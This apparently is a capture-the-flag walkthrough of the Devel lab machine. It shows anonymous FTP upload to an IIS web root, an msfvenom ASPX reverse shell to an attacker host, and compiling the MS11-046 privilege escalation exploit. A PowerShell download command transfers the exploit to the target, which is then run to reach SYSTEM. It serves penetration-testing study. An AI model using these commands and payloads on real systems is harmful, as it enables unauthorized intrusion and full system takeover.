Devel
Reconnaissance:
WAPPALYZER
Web frameworks
Microsoft ASP.NET
Web servers
IIS 7.5
Operating systems
Windows Server
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.5
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS7
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O -p- 10.10.10.5
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.5 Enumeration:
FTP: TCP 21
The FTP server seems to be in the same root as the HTTP server. Why is that interesting? Well, if I upload a reverse shell in the FTP server, I might be able to run it through the web server. Not much to enumerate beyond what was in the nmap script results. I can log in with username “anonymous” and an empty password. No real files of interest.
┌──(kali㉿kali)-[~]
└─$ ftp 10.10.10.5
Name (10.10.10.5:kali): anonymous
To test out our theory, we’ll create a test.html file that displays the word “hello”.
$ echo "<html><body>hello</body></html>" > test.html
$ cat test.html
Upload the file on the ftp server.
$ put test.html
List the files in the directory to confirm that the file has been uploaded.
$ ls
In the web browser, check if the test.html file is rendered in the web server.
http://10.10.10.5/test.htmlAlright! This confirms that if we upload a file in the ftp server, and call it in the browser it will get executed by the web server. Our nmap scan showed that the web server is Microsoft IIS version 7.5. IIS web server generally either executes ASP or ASPX (ASP.NET). Since the version is 7.5, further googling tells us that it likely supports ASPX. Seeing that this server is running ASP.NET means I will likely need a .aspx webshell when I get to that.
Website: TCP 80
The page is just the default IIS page: http://10.10.10.5/
Foothold: Shell as web
MSFvenom
Let’s use MSFvenom to generate our reverse shell. MSFvenom is a framework that is largely used for payload generation. To display the format of payloads it supports, run the following command.
┌──(kali㉿kali)-[~]
└─$ msfvenom --list formatsThe output shows that aspx is one of the options. Similarly, you can check the payload options with the following command. Since the machine we’re working with is Windows, we filter out the results to only show us Windows payloads.
┌──(kali㉿kali)-[~]
└─$ msfvenom --list payloads | grep windowsWe’ll go with the general reverse shell since Meterpreter is not allowed in the OSCP. Run the following MSFvenom command to generate the aspx payload.
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.14.8 LPORT=4444 -o reverse-shell.aspx
-p: payload
-f: format
LHOST: attack machine’s (kali) IP address
LPORT: the port you want to send the reverse shell across
-o: where to save the payloadThen, we’ll upload the generated payload on the FTP server and confirm that it has been uploaded.
put reverse-shell.aspx
ls Start a netcat listener on the attack machine to receive the reverse shell when it’s executed.
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444In the web browser load the reverse-shell.aspx file we uploaded in the FTP server.
┌──(kali㉿kali)-[~/Desktop]
└─$ ftp 10.10.10.5
ftp> put reverse-shell.aspx
ftp> ls
http://10.10.10.5/reverse-shell.aspxGo back to your listener to see if the shell connected back. Perfect! We have a shell and it’s running as iis apppool\web. Change the directory to the Users directory where the flags are stored.
c:\windows\system32\inetsrv> cd \users
c:\Users> ls
c:\Users> dirTry to access the babis and Administrator user directories.
We don’t have permission, so let’s learn more about the operating system to see if we can escalate privileges.
c:\Users> systeminfoWe’re on a Microsoft Windows 7 build 7600 system. It’s fairly old and does not seem to have been updated, so it’s probably vulnerable to a bunch of exploits.
Privilege Escalation:
Let’s use google to look for exploits. The first two exploits displayed allow us to escalate privileges. The second exploit (MS11–046), has documentation on how to compile the source code, so we’ll go with that one.
Get the EDB-ID from the web page, so that we can use it to find the exploit in searchsploit. Update searchsploit to ensure you have all the latest vulnerabilities.
┌──(kali㉿kali)-[~/Desktop]
└─$ searchsploit -u Use the -m flag to look for the exploit 40564 and copy it to the current directory.
┌──(kali㉿kali)-[~/Desktop]
└─$ searchsploit -m 40564Now, we need to compile the exploit. The compilation instructions are in th
# Exploit notes:
# Privileged shell execution:
# - the SYSTEM shell will spawn within the invoking shell/process
# Exploit compiling (Kali GNU/Linux Rolling 64-bit):
# - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32
# Exploit prerequisites:
# - low privilege access to the target OS
# - target OS not patched (KB2503665, or any other related
# patch, if applicable, not installed - check "Related security
# vulnerabilities/patches")
# Exploit test notes:
# - let the target OS boot properly (if applicable)
# - Windows 7 (SP0 and SP1) will BSOD on shutdown/resetIf you don’t have mingw-w64 installed, install it.
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt-get install mingw-w64 Compile it using the listed command.
┌──(kali㉿kali)-[~/Desktop]
└─$ i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32Alright, we have a compiled exploit. Now what is left is to transfer the exploit to the target (Devel) machine. Start up a server on the attack (Kali) machine.
┌──(kali㉿kali)-[~/Desktop]
└─$ python -m SimpleHTTPServer 9005Netcat doesn’t seem to be installed on Windows, but powershell is. So, we’ll use it to transfer the file from our server to a directory we can write to.
c:\Users> powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.8:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"The file is now in the Downloads directory. Execute it and check if the exploit worked and escalated our privileges.
c:\Users>cd \Users\Public\Downloads
c:\Users\Public\Downloads>dir
c:\Users\Public\Downloads>40564.exe
c:\Windows\System32>whoami
nt authority\systemWe have system! Navigate to the user.txt file and output its content to get the user flag.
c:\Windows\System32>cd c:\Users\babis\Desktop
c:\Users\babis\Desktop>dir
c:\Users\babis\Desktop>type user.txtDo the same thing for the root flag.
c:\Users\babis\Desktop>cd c:\Users\Administrator\Desktop
c:\Users\Administrator\Desktop>dir
c:\Users\Administrator\Desktop>type root.txtLast updated